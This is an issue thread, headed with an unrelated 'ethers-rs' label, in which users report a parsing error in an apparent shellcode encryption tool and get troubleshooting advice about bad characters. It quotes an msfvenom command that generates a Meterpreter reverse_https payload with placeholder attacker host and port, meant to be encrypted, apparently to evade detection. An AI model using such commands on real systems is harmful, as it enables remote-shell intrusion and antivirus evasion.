ethers-rs icon indicating copy to clipboard operation
ethers-rs copied to clipboard

Error when trying to encrypt

Open denisesaghCO opened this issue 6 years ago • 3 comments

I followed your instructions but when I am trying to encrypt the csharp shellcode from "msfvenom windows/meterpreter/reverse_https LHOST=X.X.X.X LPORT=XXXX -f csharp" I am getting an error.

Error Output: System.FormatException: Could not find any recognizable digits. at System.ParseNumbers.StringToInt (System.ReadOnlySpan1[T] s, System.Int32 radix, System.Int32 flags, System.Int32& currPos) [0x00165] in :0 at System.ParseNumbers.StringToInt (System.ReadOnlySpan1[T] s, System.Int32 radix, System.Int32 flags) [0x00002] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at System.Convert.ToByte (System.String value, System.Int32 fromBase) [0x00037] in <d0e12f672b88444ab4b6d9b2ecf20142>:0 at WindowsFormsApp1.Form1.hexStrToByteArray (System.String[] hexStr) [0x00028] in <b86e1328ce6f483b80c96d3c16192de3>:0 at WindowsFormsApp1.Form1.buton1_click (System.Object sender, System.EventArgs e) [0x00075] in <b86e1328ce6f483b80c96d3c16192de3>:0 at System.Windows.Forms.Control.OnClick (System.EventArgs e) [0x0001c] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.OnClick (System.EventArgs e) [0x00024] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.ButtonBase.OnMouseUp (System.Windows.Forms.MouseEventArgs mevent) [0x00081] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.OnMouseUp (System.Windows.Forms.MouseEventArgs mevent) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control.WmLButtonUp (System.Windows.Forms.Message& m) [0x0007e] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control.WndProc (System.Windows.Forms.Message& m) [0x0016f] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.ButtonBase.WndProc (System.Windows.Forms.Message& m) [0x0004e] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Button.WndProc (System.Windows.Forms.Message& m) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control+ControlWindowTarget.OnMessage (System.Windows.Forms.Message& m) [0x00000] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.Control+ControlNativeWindow.WndProc (System.Windows.Forms.Message& m) [0x0000b] in <0e1823914d7643eeaf1207febb083a4a>:0 at System.Windows.Forms.NativeWindow.WndProc (System.IntPtr hWnd, System.Windows.Forms.Msg msg, System.IntPtr wParam, System.IntPtr lParam) [0x0008e] in <0e1823914d7643eeaf1207febb083a4a>:0

denisesaghCO avatar May 27 '19 19:05 denisesaghCO

Do you have the same output with the default values ?

Ch0pin avatar May 28 '19 04:05 Ch0pin

I have the same problem. It only works with the default payload

m0t420 avatar Sep 24 '19 23:09 m0t420

Since it works with the default payload then you might paste some bad chars in the input text box. Try to avoid spaces etc, when copy and paste to the text box

Ch0pin avatar Sep 25 '19 03:09 Ch0pin